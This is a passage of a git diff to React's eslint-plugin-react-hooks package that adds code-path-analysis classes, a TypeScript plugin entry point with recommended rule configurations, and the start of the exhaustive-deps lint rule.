+      bodySegments = prevForkContext.makeNext(0, -1);
+    }
+    context.continueDestSegments = context.continueDestSegments || bodySegments;
+    forkContext.replaceHead(bodySegments);
+  }
+
+  /**
+   * Makes a code path segment for the left part of a ForInStatement and a
+   * ForOfStatement.
+   * @returns {void}
+   */
+  makeForInOfLeft() {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+    const leftSegments = forkContext.makeDisconnected(-1, -1);
+
+    // Update state.
+    context.prevSegments = forkContext.head;
+    context.leftSegments = context.continueDestSegments = leftSegments;
+    forkContext.replaceHead(leftSegments);
+  }
+
+  /**
+   * Makes a code path segment for the right part of a ForInStatement and a
+   * ForOfStatement.
+   * @returns {void}
+   */
+  makeForInOfRight() {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+    const temp = ForkContext.newEmpty(forkContext);
+
+    temp.add(context.prevSegments);
+    const rightSegments = temp.makeNext(-1, -1);
+
+    // Update state.
+    context.endOfLeftSegments = forkContext.head;
+    forkContext.replaceHead(rightSegments);
+  }
+
+  /**
+   * Makes a code path segment for the body part of a ForInStatement and a
+   * ForOfStatement.
+   * @returns {void}
+   */
+  makeForInOfBody() {
+    const context = this.loopContext;
+    const forkContext = this.forkContext;
+    const temp = ForkContext.newEmpty(forkContext);
+
+    temp.add(context.endOfLeftSegments);
+    const bodySegments = temp.makeNext(-1, -1);
+
+    // Make a path: `right` -> `left`.
+    makeLooped(this, forkContext.head, context.leftSegments);
+
+    // Update state.
+    context.brokenForkContext.add(forkContext.head);
+    forkContext.replaceHead(bodySegments);
+  }
+
+  //--------------------------------------------------------------------------
+  // Control Statements
+  //--------------------------------------------------------------------------
+
+  /**
+   * Creates new context for BreakStatement.
+   * @param {boolean} breakable The flag to indicate it can break by
+   *      an unlabeled BreakStatement.
+   * @param {string|null} label The label of this context.
+   * @returns {Object} The new context.
+   */
+  pushBreakContext(breakable, label) {
+    this.breakContext = {
+      upper: this.breakContext,
+      breakable,
+      label,
+      brokenForkContext: ForkContext.newEmpty(this.forkContext),
+    };
+    return this.breakContext;
+  }
+
+  /**
+   * Removes the top item of the break context stack.
+   * @returns {Object} The removed context.
+   */
+  popBreakContext() {
+    const context = this.breakContext;
+    const forkContext = this.forkContext;
+
+    this.breakContext = context.upper;
+
+    // Process this context here for other than switches and loops.
+    if (!context.breakable) {
+      const brokenForkContext = context.brokenForkContext;
+
+      if (!brokenForkContext.empty) {
+        brokenForkContext.add(forkContext.head);
+        forkContext.replaceHead(brokenForkContext.makeNext(0, -1));
+      }
+    }
+
+    return context;
+  }
+
+  /**
+   * Makes a path for a `break` statement.
+   *
+   * It registers the head segment to a context of `break`.
+   * It makes new unreachable segment, then it set the head with the segment.
+   * @param {string} label A label of the break statement.
+   * @returns {void}
+   */
+  makeBreak(label) {
+    const forkContext = this.forkContext;
+
+    if (!forkContext.reachable) {
+      return;
+    }
+
+    const context = getBreakContext(this, label);
+
+    if (context) {
+      context.brokenForkContext.add(forkContext.head);
+    }
+
+    /* c8 ignore next */
+    forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));
+  }
+
+  /**
+   * Makes a path for a `continue` statement.
+   *
+   * It makes a looping path.
+   * It makes new unreachable segment, then it set the head with the segment.
+   * @param {string} label A label of the continue statement.
+   * @returns {void}
+   */
+  makeContinue(label) {
+    const forkContext = this.forkContext;
+
+    if (!forkContext.reachable) {
+      return;
+    }
+
+    const context = getContinueContext(this, label);
+
+    if (context) {
+      if (context.continueDestSegments) {
+        makeLooped(this, forkContext.head, context.continueDestSegments);
+
+        // If the context is a for-in/of loop, this effects a break also.
+        if (
+          context.type === 'ForInStatement' ||
+          context.type === 'ForOfStatement'
+        ) {
+          context.brokenForkContext.add(forkContext.head);
+        }
+      } else {
+        context.continueForkContext.add(forkContext.head);
+      }
+    }
+    forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));
+  }
+
+  /**
+   * Makes a path for a `return` statement.
+   *
+   * It registers the head segment to a context of `return`.
+   * It makes new unreachable segment, then it set the head with the segment.
+   * @returns {void}
+   */
+  makeReturn() {
+    const forkContext = this.forkContext;
+
+    if (forkContext.reachable) {
+      getReturnContext(this).returnedForkContext.add(forkContext.head);
+      forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));
+    }
+  }
+
+  /**
+   * Makes a path for a `throw` statement.
+   *
+   * It registers the head segment to a context of `throw`.
+   * It makes new unreachable segment, then it set the head with the segment.
+   * @returns {void}
+   */
+  makeThrow() {
+    const forkContext = this.forkContext;
+
+    if (forkContext.reachable) {
+      getThrowContext(this).thrownForkContext.add(forkContext.head);
+      forkContext.replaceHead(forkContext.makeUnreachable(-1, -1));
+    }
+  }
+
+  /**
+   * Makes the final path.
+   * @returns {void}
+   */
+  makeFinal() {
+    const segments = this.currentSegments;
+
+    if (segments.length > 0 && segments[0].reachable) {
+      this.returnedForkContext.add(segments);
+    }
+  }
+}
+
+module.exports = CodePathState;
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path.js
new file mode 100644
index 000000000000..167d9be7af80
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path.js
@@ -0,0 +1,239 @@
+'use strict';
+
+//------------------------------------------------------------------------------
+// Requirements
+//------------------------------------------------------------------------------
+
+// eslint-disable-next-line
+const CodePathState = require('./code-path-state');
+// eslint-disable-next-line
+const IdGenerator = require('./id-generator');
+
+//------------------------------------------------------------------------------
+// Public Interface
+//------------------------------------------------------------------------------
+
+/**
+ * A code path.
+ */
+class CodePath {
+  /**
+   * Creates a new instance.
+   * @param {Object} options Options for the function (see below).
+   * @param {string} options.id An identifier.
+   * @param {string} options.origin The type of code path origin.
+   * @param {CodePath|null} options.upper The code path of the upper function scope.
+   * @param {Function} options.onLooped A callback function to notify looping.
+   */
+  constructor({id, origin, upper, onLooped}) {
+    /**
+     * The identifier of this code path.
+     * Rules use it to store additional information of each rule.
+     * @type {string}
+     */
+    this.id = id;
+
+    /**
+     * The reason that this code path was started. May be "program",
+     * "function", "class-field-initializer", or "class-static-block".
+     * @type {string}
+     */
+    this.origin = origin;
+
+    /**
+     * The code path of the upper function scope.
+     * @type {CodePath|null}
+     */
+    this.upper = upper;
+
+    /**
+     * The code paths of nested function scopes.
+     * @type {CodePath[]}
+     */
+    this.childCodePaths = [];
+
+    // Initializes internal state.
+    Object.defineProperty(this, 'internal', {
+      value: new CodePathState(new IdGenerator(`${id}_`), onLooped),
+    });
+
+    // Adds this into `childCodePaths` of `upper`.
+    if (upper) {
+      upper.childCodePaths.push(this);
+    }
+  }
+
+  /**
+   * Gets the state of a given code path.
+   * @param {CodePath} codePath A code path to get.
+   * @returns {CodePathState} The state of the code path.
+   */
+  static getState(codePath) {
+    return codePath.internal;
+  }
+
+  /**
+   * The initial code path segment.
+   * @type {CodePathSegment}
+   */
+  get initialSegment() {
+    return this.internal.initialSegment;
+  }
+
+  /**
+   * Final code path segments.
+   * This array is a mix of `returnedSegments` and `thrownSegments`.
+   * @type {CodePathSegment[]}
+   */
+  get finalSegments() {
+    return this.internal.finalSegments;
+  }
+
+  /**
+   * Final code path segments which is with `return` statements.
+   * This array contains the last path segment if it's reachable.
+   * Since the reachable last path returns `undefined`.
+   * @type {CodePathSegment[]}
+   */
+  get returnedSegments() {
+    return this.internal.returnedForkContext;
+  }
+
+  /**
+   * Final code path segments which is with `throw` statements.
+   * @type {CodePathSegment[]}
+   */
+  get thrownSegments() {
+    return this.internal.thrownForkContext;
+  }
+
+  /**
+   * Current code path segments.
+   * @type {CodePathSegment[]}
+   */
+  get currentSegments() {
+    return this.internal.currentSegments;
+  }
+
+  /**
+   * Traverses all segments in this code path.
+   *
+   *     codePath.traverseSegments(function(segment, controller) {
+   *         // do something.
+   *     });
+   *
+   * This method enumerates segments in order from the head.
+   *
+   * The `controller` object has two methods.
+   *
+   * - `controller.skip()` - Skip the following segments in this branch.
+   * - `controller.break()` - Skip all following segments.
+   * @param {Object} [options] Omittable.
+   * @param {CodePathSegment} [options.first] The first segment to traverse.
+   * @param {CodePathSegment} [options.last] The last segment to traverse.
+   * @param {Function} callback A callback function.
+   * @returns {void}
+   */
+  traverseSegments(options, callback) {
+    let resolvedOptions;
+    let resolvedCallback;
+
+    if (typeof options === 'function') {
+      resolvedCallback = options;
+      resolvedOptions = {};
+    } else {
+      resolvedOptions = options || {};
+      resolvedCallback = callback;
+    }
+
+    const startSegment = resolvedOptions.first || this.internal.initialSegment;
+    const lastSegment = resolvedOptions.last;
+
+    let item = null;
+    let index = 0;
+    let end = 0;
+    let segment = null;
+    const visited = Object.create(null);
+    const stack = [[startSegment, 0]];
+    let skippedSegment = null;
+    let broken = false;
+    const controller = {
+      skip() {
+        if (stack.length <= 1) {
+          broken = true;
+        } else {
+          skippedSegment = stack[stack.length - 2][0];
+        }
+      },
+      break() {
+        broken = true;
+      },
+    };
+
+    /**
+     * Checks a given previous segment has been visited.
+     * @param {CodePathSegment} prevSegment A previous segment to check.
+     * @returns {boolean} `true` if the segment has been visited.
+     */
+    function isVisited(prevSegment) {
+      return (
+        visited[prevSegment.id] || segment.isLoopedPrevSegment(prevSegment)
+      );
+    }
+
+    while (stack.length > 0) {
+      item = stack[stack.length - 1];
+      segment = item[0];
+      index = item[1];
+
+      if (index === 0) {
+        // Skip if this segment has been visited already.
+        if (visited[segment.id]) {
+          stack.pop();
+          continue;
+        }
+
+        // Skip if all previous segments have not been visited.
+        if (
+          segment !== startSegment &&
+          segment.prevSegments.length > 0 &&
+          !segment.prevSegments.every(isVisited)
+        ) {
+          stack.pop();
+          continue;
+        }
+
+        // Reset the flag of skipping if all branches have been skipped.
+        if (skippedSegment && segment.prevSegments.includes(skippedSegment)) {
+          skippedSegment = null;
+        }
+        visited[segment.id] = true;
+
+        // Call the callback when the first time.
+        if (!skippedSegment) {
+          resolvedCallback.call(this, segment, controller);
+          if (segment === lastSegment) {
+            controller.skip();
+          }
+          if (broken) {
+            break;
+          }
+        }
+      }
+
+      // Update the stack.
+      end = segment.nextSegments.length - 1;
+      if (index < end) {
+        item[1] += 1;
+        stack.push([segment.nextSegments[index], 0]);
+      } else if (index === end) {
+        item[0] = segment.nextSegments[index];
+        item[1] = 0;
+      } else {
+        stack.pop();
+      }
+    }
+  }
+}
+
+module.exports = CodePath;
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/fork-context.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/fork-context.js
new file mode 100644
index 000000000000..528aaa41e15f
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/fork-context.js
@@ -0,0 +1,252 @@
+'use strict';
+
+//------------------------------------------------------------------------------
+// Requirements
+//------------------------------------------------------------------------------
+
+// eslint-disable-next-line
+const assert = require('./assert');
+// eslint-disable-next-line
+const CodePathSegment = require('./code-path-segment');
+
+//------------------------------------------------------------------------------
+// Helpers
+//------------------------------------------------------------------------------
+
+/**
+ * Gets whether or not a given segment is reachable.
+ * @param {CodePathSegment} segment A segment to get.
+ * @returns {boolean} `true` if the segment is reachable.
+ */
+function isReachable(segment) {
+  return segment.reachable;
+}
+
+/**
+ * Creates new segments from the specific range of `context.segmentsList`.
+ *
+ * When `context.segmentsList` is `[[a, b], [c, d], [e, f]]`, `begin` is `0`, and
+ * `end` is `-1`, this creates `[g, h]`. This `g` is from `a`, `c`, and `e`.
+ * This `h` is from `b`, `d`, and `f`.
+ * @param {ForkContext} context An instance.
+ * @param {number} begin The first index of the previous segments.
+ * @param {number} end The last index of the previous segments.
+ * @param {Function} create A factory function of new segments.
+ * @returns {CodePathSegment[]} New segments.
+ */
+function makeSegments(context, begin, end, create) {
+  const list = context.segmentsList;
+
+  const normalizedBegin = begin >= 0 ? begin : list.length + begin;
+  const normalizedEnd = end >= 0 ? end : list.length + end;
+
+  const segments = [];
+
+  for (let i = 0; i < context.count; ++i) {
+    const allPrevSegments = [];
+
+    for (let j = normalizedBegin; j <= normalizedEnd; ++j) {
+      allPrevSegments.push(list[j][i]);
+    }
+
+    segments.push(create(context.idGenerator.next(), allPrevSegments));
+  }
+
+  return segments;
+}
+
+/**
+ * `segments` becomes doubly in a `finally` block. Then if a code path exits by a
+ * control statement (such as `break`, `continue`) from the `finally` block, the
+ * destination's segments may be half of the source segments. In that case, this
+ * merges segments.
+ * @param {ForkContext} context An instance.
+ * @param {CodePathSegment[]} segments Segments to merge.
+ * @returns {CodePathSegment[]} The merged segments.
+ */
+function mergeExtraSegments(context, segments) {
+  let currentSegments = segments;
+
+  while (currentSegments.length > context.count) {
+    const merged = [];
+
+    for (
+      let i = 0, length = (currentSegments.length / 2) | 0;
+      i < length;
+      ++i
+    ) {
+      merged.push(
+        CodePathSegment.newNext(context.idGenerator.next(), [
+          currentSegments[i],
+          currentSegments[i + length],
+        ]),
+      );
+    }
+    currentSegments = merged;
+  }
+  return currentSegments;
+}
+
+//------------------------------------------------------------------------------
+// Public Interface
+//------------------------------------------------------------------------------
+
+/**
+ * A class to manage forking.
+ */
+class ForkContext {
+  /**
+   * @param {IdGenerator} idGenerator An identifier generator for segments.
+   * @param {ForkContext|null} upper An upper fork context.
+   * @param {number} count A number of parallel segments.
+   */
+  constructor(idGenerator, upper, count) {
+    this.idGenerator = idGenerator;
+    this.upper = upper;
+    this.count = count;
+    this.segmentsList = [];
+  }
+
+  /**
+   * The head segments.
+   * @type {CodePathSegment[]}
+   */
+  get head() {
+    const list = this.segmentsList;
+
+    return list.length === 0 ? [] : list[list.length - 1];
+  }
+
+  /**
+   * A flag which shows empty.
+   * @type {boolean}
+   */
+  get empty() {
+    return this.segmentsList.length === 0;
+  }
+
+  /**
+   * A flag which shows reachable.
+   * @type {boolean}
+   */
+  get reachable() {
+    const segments = this.head;
+
+    return segments.length > 0 && segments.some(isReachable);
+  }
+
+  /**
+   * Creates new segments from this context.
+   * @param {number} begin The first index of previous segments.
+   * @param {number} end The last index of previous segments.
+   * @returns {CodePathSegment[]} New segments.
+   */
+  makeNext(begin, end) {
+    return makeSegments(this, begin, end, CodePathSegment.newNext);
+  }
+
+  /**
+   * Creates new segments from this context.
+   * The new segments is always unreachable.
+   * @param {number} begin The first index of previous segments.
+   * @param {number} end The last index of previous segments.
+   * @returns {CodePathSegment[]} New segments.
+   */
+  makeUnreachable(begin, end) {
+    return makeSegments(this, begin, end, CodePathSegment.newUnreachable);
+  }
+
+  /**
+   * Creates new segments from this context.
+   * The new segments don't have connections for previous segments.
+   * But these inherit the reachable flag from this context.
+   * @param {number} begin The first index of previous segments.
+   * @param {number} end The last index of previous segments.
+   * @returns {CodePathSegment[]} New segments.
+   */
+  makeDisconnected(begin, end) {
+    return makeSegments(this, begin, end, CodePathSegment.newDisconnected);
+  }
+
+  /**
+   * Adds segments into this context.
+   * The added segments become the head.
+   * @param {CodePathSegment[]} segments Segments to add.
+   * @returns {void}
+   */
+  add(segments) {
+    assert(
+      segments.length >= this.count,
+      `${segments.length} >= ${this.count}`,
+    );
+
+    this.segmentsList.push(mergeExtraSegments(this, segments));
+  }
+
+  /**
+   * Replaces the head segments with given segments.
+   * The current head segments are removed.
+   * @param {CodePathSegment[]} segments Segments to add.
+   * @returns {void}
+   */
+  replaceHead(segments) {
+    assert(
+      segments.length >= this.count,
+      `${segments.length} >= ${this.count}`,
+    );
+
+    this.segmentsList.splice(-1, 1, mergeExtraSegments(this, segments));
+  }
+
+  /**
+   * Adds all segments of a given fork context into this context.
+   * @param {ForkContext} context A fork context to add.
+   * @returns {void}
+   */
+  addAll(context) {
+    assert(context.count === this.count);
+
+    const source = context.segmentsList;
+
+    for (let i = 0; i < source.length; ++i) {
+      this.segmentsList.push(source[i]);
+    }
+  }
+
+  /**
+   * Clears all segments in this context.
+   * @returns {void}
+   */
+  clear() {
+    this.segmentsList = [];
+  }
+
+  /**
+   * Creates the root fork context.
+   * @param {IdGenerator} idGenerator An identifier generator for segments.
+   * @returns {ForkContext} New fork context.
+   */
+  static newRoot(idGenerator) {
+    const context = new ForkContext(idGenerator, null, 1);
+
+    context.add([CodePathSegment.newRoot(idGenerator.next())]);
+
+    return context;
+  }
+
+  /**
+   * Creates an empty fork context preceded by a given context.
+   * @param {ForkContext} parentContext The parent fork context.
+   * @param {boolean} forkLeavingPath A flag which shows inside of `finally` block.
+   * @returns {ForkContext} New fork context.
+   */
+  static newEmpty(parentContext, forkLeavingPath) {
+    return new ForkContext(
+      parentContext.idGenerator,
+      parentContext,
+      (forkLeavingPath ? 2 : 1) * parentContext.count,
+    );
+  }
+}
+
+module.exports = ForkContext;
diff --git a/packages/eslint-plugin-react-hooks/src/code-path-analysis/id-generator.js b/packages/eslint-plugin-react-hooks/src/code-path-analysis/id-generator.js
new file mode 100644
index 000000000000..ed0f47d83464
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/code-path-analysis/id-generator.js
@@ -0,0 +1,37 @@
+'use strict';
+
+/* eslint-disable react-internal/safe-string-coercion */
+
+//------------------------------------------------------------------------------
+// Public Interface
+//------------------------------------------------------------------------------
+
+/**
+ * A generator for unique ids.
+ */
+class IdGenerator {
+  /**
+   * @param {string} prefix Optional. A prefix of generated ids.
+   */
+  constructor(prefix) {
+    this.prefix = String(prefix);
+    this.n = 0;
+  }
+
+  /**
+   * Generates id.
+   * @returns {string} A generated id.
+   */
+  next() {
+    this.n = (1 + this.n) | 0;
+
+    /* c8 ignore start */
+    if (this.n < 0) {
+      this.n = 1;
+    } /* c8 ignore stop */
+
+    return this.prefix + this.n;
+  }
+}
+
+module.exports = IdGenerator;
diff --git a/packages/eslint-plugin-react-hooks/src/index.js b/packages/eslint-plugin-react-hooks/src/index.js
deleted file mode 100644
index d8ff02e7b144..000000000000
--- a/packages/eslint-plugin-react-hooks/src/index.js
+++ /dev/null
@@ -1,26 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-'use strict';
-
-import RulesOfHooks from './RulesOfHooks';
-import ExhaustiveDeps from './ExhaustiveDeps';
-
-export const configs = {
-  recommended: {
-    plugins: ['react-hooks'],
-    rules: {
-      'react-hooks/rules-of-hooks': 'error',
-      'react-hooks/exhaustive-deps': 'warn',
-    },
-  },
-};
-
-export const rules = {
-  'rules-of-hooks': RulesOfHooks,
-  'exhaustive-deps': ExhaustiveDeps,
-};
diff --git a/packages/eslint-plugin-react-hooks/src/index.ts b/packages/eslint-plugin-react-hooks/src/index.ts
new file mode 100644
index 000000000000..924299d89894
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/index.ts
@@ -0,0 +1,100 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+import type {Linter, Rule} from 'eslint';
+
+import ExhaustiveDeps from './rules/ExhaustiveDeps';
+import {
+  allRules,
+  mapErrorSeverityToESlint,
+  recommendedRules,
+  recommendedLatestRules,
+} from './shared/ReactCompiler';
+import RulesOfHooks from './rules/RulesOfHooks';
+
+const rules = {
+  'exhaustive-deps': ExhaustiveDeps,
+  'rules-of-hooks': RulesOfHooks,
+  ...Object.fromEntries(
+    Object.entries(allRules).map(([name, config]) => [name, config.rule]),
+  ),
+} satisfies Record<string, Rule.RuleModule>;
+
+const basicRuleConfigs = {
+  'react-hooks/rules-of-hooks': 'error',
+  'react-hooks/exhaustive-deps': 'warn',
+} as const satisfies Linter.RulesRecord;
+
+const recommendedCompilerRuleConfigs = Object.fromEntries(
+  Object.entries(recommendedRules).map(([name, ruleConfig]) => {
+    return [
+      `react-hooks/${name}` as const,
+      mapErrorSeverityToESlint(ruleConfig.severity),
+    ] as const;
+  }),
+) as Record<`react-hooks/${string}`, Linter.RuleEntry>;
+
+const recommendedLatestCompilerRuleConfigs = Object.fromEntries(
+  Object.entries(recommendedLatestRules).map(([name, ruleConfig]) => {
+    return [
+      `react-hooks/${name}` as const,
+      mapErrorSeverityToESlint(ruleConfig.severity),
+    ] as const;
+  }),
+) as Record<`react-hooks/${string}`, Linter.RuleEntry>;
+
+const recommendedRuleConfigs: Linter.RulesRecord = {
+  ...basicRuleConfigs,
+  ...recommendedCompilerRuleConfigs,
+};
+const recommendedLatestRuleConfigs: Linter.RulesRecord = {
+  ...basicRuleConfigs,
+  ...recommendedLatestCompilerRuleConfigs,
+};
+
+const plugins = ['react-hooks'];
+
+type ReactHooksFlatConfig = {
+  plugins: {react: any};
+  rules: Linter.RulesRecord;
+};
+
+const configs = {
+  recommended: {
+    plugins,
+    rules: recommendedRuleConfigs,
+  },
+  'recommended-latest': {
+    plugins,
+    rules: recommendedLatestRuleConfigs,
+  },
+  flat: {} as {
+    recommended: ReactHooksFlatConfig;
+    'recommended-latest': ReactHooksFlatConfig;
+  },
+};
+
+const plugin = {
+  meta: {
+    name: 'eslint-plugin-react-hooks',
+    version: '7.0.0',
+  },
+  rules,
+  configs,
+};
+
+Object.assign(configs.flat, {
+  'recommended-latest': {
+    plugins: {'react-hooks': plugin},
+    rules: configs['recommended-latest'].rules,
+  },
+  recommended: {
+    plugins: {'react-hooks': plugin},
+    rules: configs.recommended.rules,
+  },
+});
+
+export default plugin;
diff --git a/packages/eslint-plugin-react-hooks/src/rules/ExhaustiveDeps.ts b/packages/eslint-plugin-react-hooks/src/rules/ExhaustiveDeps.ts
new file mode 100644
index 000000000000..6b790680608d
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/rules/ExhaustiveDeps.ts
@@ -0,0 +1,2138 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/* eslint-disable no-for-of-loops/no-for-of-loops */
+import type {Rule, Scope} from 'eslint';
+import type {
+  ArrayExpression,
+  ArrowFunctionExpression,
+  CallExpression,
+  Expression,
+  FunctionDeclaration,
+  FunctionExpression,
+  Identifier,
+  Node,
+  Pattern,
+  PrivateIdentifier,
+  Super,
+  VariableDeclarator,
+} from 'estree';
+
+import {getAdditionalEffectHooksFromSettings} from '../shared/Utils';
+
+type DeclaredDependency = {
+  key: string;
+  node: Node;
+};
+
+type Dependency = {
+  isStable: boolean;
+  references: Array<Scope.Reference>;
+};
+
+type DependencyTreeNode = {
+  isUsed: boolean; // True if used in code
+  isSatisfiedRecursively: boolean; // True if specified in deps
+  isSubtreeUsed: boolean; // True if something deeper is used by code
+  children: Map<string, DependencyTreeNode>; // Nodes for properties
+};
+
+const rule = {
+  meta: {
+    type: 'suggestion',
+    docs: {
+      description:
+        'verifies the list of dependencies for Hooks like useEffect and similar',
+      recommended: true,
+      url: 'https://github.com/facebook/react/issues/14920',
+    },
+    fixable: 'code',
+    hasSuggestions: true,
+    schema: [
+      {
+        type: 'object',
+        additionalProperties: false,
+        enableDangerousAutofixThisMayCauseInfiniteLoops: false,
+        properties: {
+          additionalHooks: {
+            type: 'string',
+          },
+          enableDangerousAutofixThisMayCauseInfiniteLoops: {
+            type: 'boolean',
+          },
+          experimental_autoDependenciesHooks: {
+            type: 'array',
+            items: {
+              type: 'string',
+            },
+          },
+          requireExplicitEffectDeps: {
+            type: 'boolean',
+          },
+        },
+      },
+    ],
+  },
+  create(context: Rule.RuleContext) {
+    const rawOptions = context.options && context.options[0];
+    const settings = context.settings || {};
+
+    // Parse the `additionalHooks` regex.
+    // Use rule-level additionalHooks if provided, otherwise fall back to settings
+    const additionalHooks =
+      rawOptions && rawOptions.additionalHooks
+        ? new RegExp(rawOptions.additionalHooks)
+        : getAdditionalEffectHooksFromSettings(settings);
+
+    const enableDangerousAutofixThisMayCauseInfiniteLoops: boolean =
+      (rawOptions &&
+        rawOptions.enableDangerousAutofixThisMayCauseInfiniteLoops) ||
+      false;
+
+    const experimental_autoDependenciesHooks: ReadonlyArray<string> =
+      rawOptions && Array.isArray(rawOptions.experimental_autoDependenciesHooks)
+        ? rawOptions.experimental_autoDependenciesHooks
+        : [];
+
+    const requireExplicitEffectDeps: boolean =
+      (rawOptions && rawOptions.requireExplicitEffectDeps) || false;
+
+    const options = {
+      additionalHooks,
+      experimental_autoDependenciesHooks,
+      enableDangerousAutofixThisMayCauseInfiniteLoops,
+      requireExplicitEffectDeps,
+    };
+
+    function reportProblem(problem: Rule.ReportDescriptor) {
+      if (enableDangerousAutofixThisMayCauseInfiniteLoops) {
+        // Used to enable legacy behavior. Dangerous.
+        // Keep this as an option until major IDEs upgrade (including VSCode FB ESLint extension).
+        if (
+          Array.isArray(problem.suggest) &&
+          problem.suggest.length > 0 &&
+          problem.suggest[0]
+        ) {
+          problem.fix = problem.suggest[0].fix;
+        }
+      }
+      context.report(problem);
+    }
+
+    /**
+     * SourceCode that also works down to ESLint 3.0.0
+     */
+    const getSourceCode =
+      typeof context.getSourceCode === 'function'
+        ? () => {
+            return context.getSourceCode();
+          }
+        : () => {
+            return context.sourceCode;
+          };
+    /**
+     * SourceCode#getScope that also works down to ESLint 3.0.0
+     */
+    const getScope =
+      typeof context.getScope === 'function'
+        ? () => {
+            return context.getScope();
+          }
+        : (node: Node) => {
+            return context.sourceCode.getScope(node);
+          };
+
+    const scopeManager = getSourceCode().scopeManager;
+
+    // Should be shared between visitors.
+    const setStateCallSites = new WeakMap<
+      Expression | Super,
+      Pattern | null | undefined
+    >();
+    const stateVariables = new WeakSet<Identifier>();
+    const stableKnownValueCache = new WeakMap<Scope.Variable, boolean>();
+    const functionWithoutCapturedValueCache = new WeakMap<
+      Scope.Variable,
+      boolean
+    >();
+    const useEffectEventVariables = new WeakSet<Expression>();
+
+    function memoizeWithWeakMap(
+      fn: (resolved: Scope.Variable) => boolean,
+      map: WeakMap<Scope.Variable, boolean>,
+    ) {
+      return function (arg: Scope.Variable): boolean {
+        if (map.has(arg)) {
+          // to verify cache hits:
+          // console.log(arg.name)
+          return map.get(arg)!;
+        }
+        const result = fn(arg);
+        map.set(arg, result);
+        return result;
+      };
+    }
+    /**
+     * Visitor for both function expressions and arrow function expressions.
+     */
+    function visitFunctionWithDependencies(
+      node: ArrowFunctionExpression | FunctionDeclaration | FunctionExpression,
+      declaredDependenciesNode: Node | undefined,
+      reactiveHook: Node,
+      reactiveHookName: string,
+      isEffect: boolean,
+      isAutoDepsHook: boolean,
+    ): void {
+      if (isEffect && node.async) {
+        reportProblem({
+          node: node,
+          message:
+            `Effect callbacks are synchronous to prevent race conditions. ` +
+            `Put the async function inside:\n\n` +
+            'useEffect(() => {\n' +
+            '  async function fetchData() {\n' +
+            '    // You can await here\n' +
+            '    const response = await MyAPI.getData(someId);\n' +
+            '    // ...\n' +
+            '  }\n' +
+            '  fetchData();\n' +
+            `}, [someId]); // Or [] if effect doesn't need props or state\n\n` +
+            'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching',
+        });
+      }
+
+      // Get the current scope.
+      const scope = scopeManager.acquire(node);
+      if (!scope) {
+        throw new Error(
+          'Unable to acquire scope for the current node. This is a bug in eslint-plugin-react-hooks, please file an issue.',
+        );
+      }
+
+      // Find all our "pure scopes". On every re-render of a component these
+      // pure scopes may have changes to the variables declared within. So all
+      // variables used in our reactive hook callback but declared in a pure
+      // scope need to be listed as dependencies of our reactive hook callback.
+      //
+      // According to the rules of React you can't read a mutable value in pure
+      // scope. We can't enforce this in a lint so we trust that all variables
+      // declared outside of pure scope are indeed frozen.
+      const pureScopes = new Set();
+      let componentScope: Scope.Scope | null = null;
+      {
+        let currentScope = scope.upper;
+        while (currentScope) {
+          pureScopes.add(currentScope);
+          if (
+            currentScope.type === 'function' ||
+            // @ts-expect-error incorrect TS types
+            currentScope.type === 'hook' ||
+            // @ts-expect-error incorrect TS types
+            currentScope.type === 'component'
+          ) {
+            break;
+          }
+          currentScope = currentScope.upper;
+        }
+        // If there is no parent function scope then there are no pure scopes.
+        // The ones we've collected so far are incorrect. So don't continue with
+        // the lint.
+        if (!currentScope) {
+          return;
+        }
+        componentScope = currentScope;
+      }
+
+      const isArray = Array.isArray;
+
+      // Next we'll define a few helpers that helps us
+      // tell if some values don't have to be declared as deps.
+
+      // Some are known to be stable based on Hook calls.
+      // const [state, setState] = useState() / React.useState()
+      //               ^^^ true for this reference
+      // const [state, dispatch] = useReducer() / React.useReducer()
+      //               ^^^ true for this reference
+      // const [state, dispatch] = useActionState() / React.useActionState()
+      //               ^^^ true for this reference
+      // const ref = useRef()
+      //       ^^^ true for this reference
+      // const onStuff = useEffectEvent(() => {})
+      //       ^^^ true for this reference
+      // False for everything else.
+      function isStableKnownHookValue(resolved: Scope.Variable): boolean {
+        if (!isArray(resolved.defs)) {
+          return false;
+        }
+        const def = resolved.defs[0];
+        if (def == null) {
+          return false;
+        }
+        // Look for `let stuff = ...`
+        const defNode: VariableDeclarator = def.node;
+        if (defNode.type !== 'VariableDeclarator') {
+          return false;
+        }
+        let init = defNode.init;
+        if (init == null) {
+          return false;
+        }
+        while (init.type === 'TSAsExpression' || init.type === 'AsExpression') {
+          init = init.expression;
+        }
+        // Detect primitive constants
+        // const foo = 42
+        let declaration = defNode.parent;
+        if (declaration == null && componentScope != null) {
+          // This might happen if variable is declared after the callback.
+          // In that case ESLint won't set up .parent refs.
+          // So we'll set them up manually.
+          fastFindReferenceWithParent(componentScope.block, def.node.id);
+          declaration = def.node.parent;
+          if (declaration == null) {
+            return false;
+          }
+        }
+        if (
+          declaration != null &&
+          'kind' in declaration &&
+          declaration.kind === 'const' &&
+          init.type === 'Literal' &&
+          (typeof init.value === 'string' ||
+            typeof init.value === 'number' ||
+            init.value === null)
+        ) {
+          // Definitely stable
+          return true;
+        }
+        // Detect known Hook calls
+        // const [_, setState] = useState()
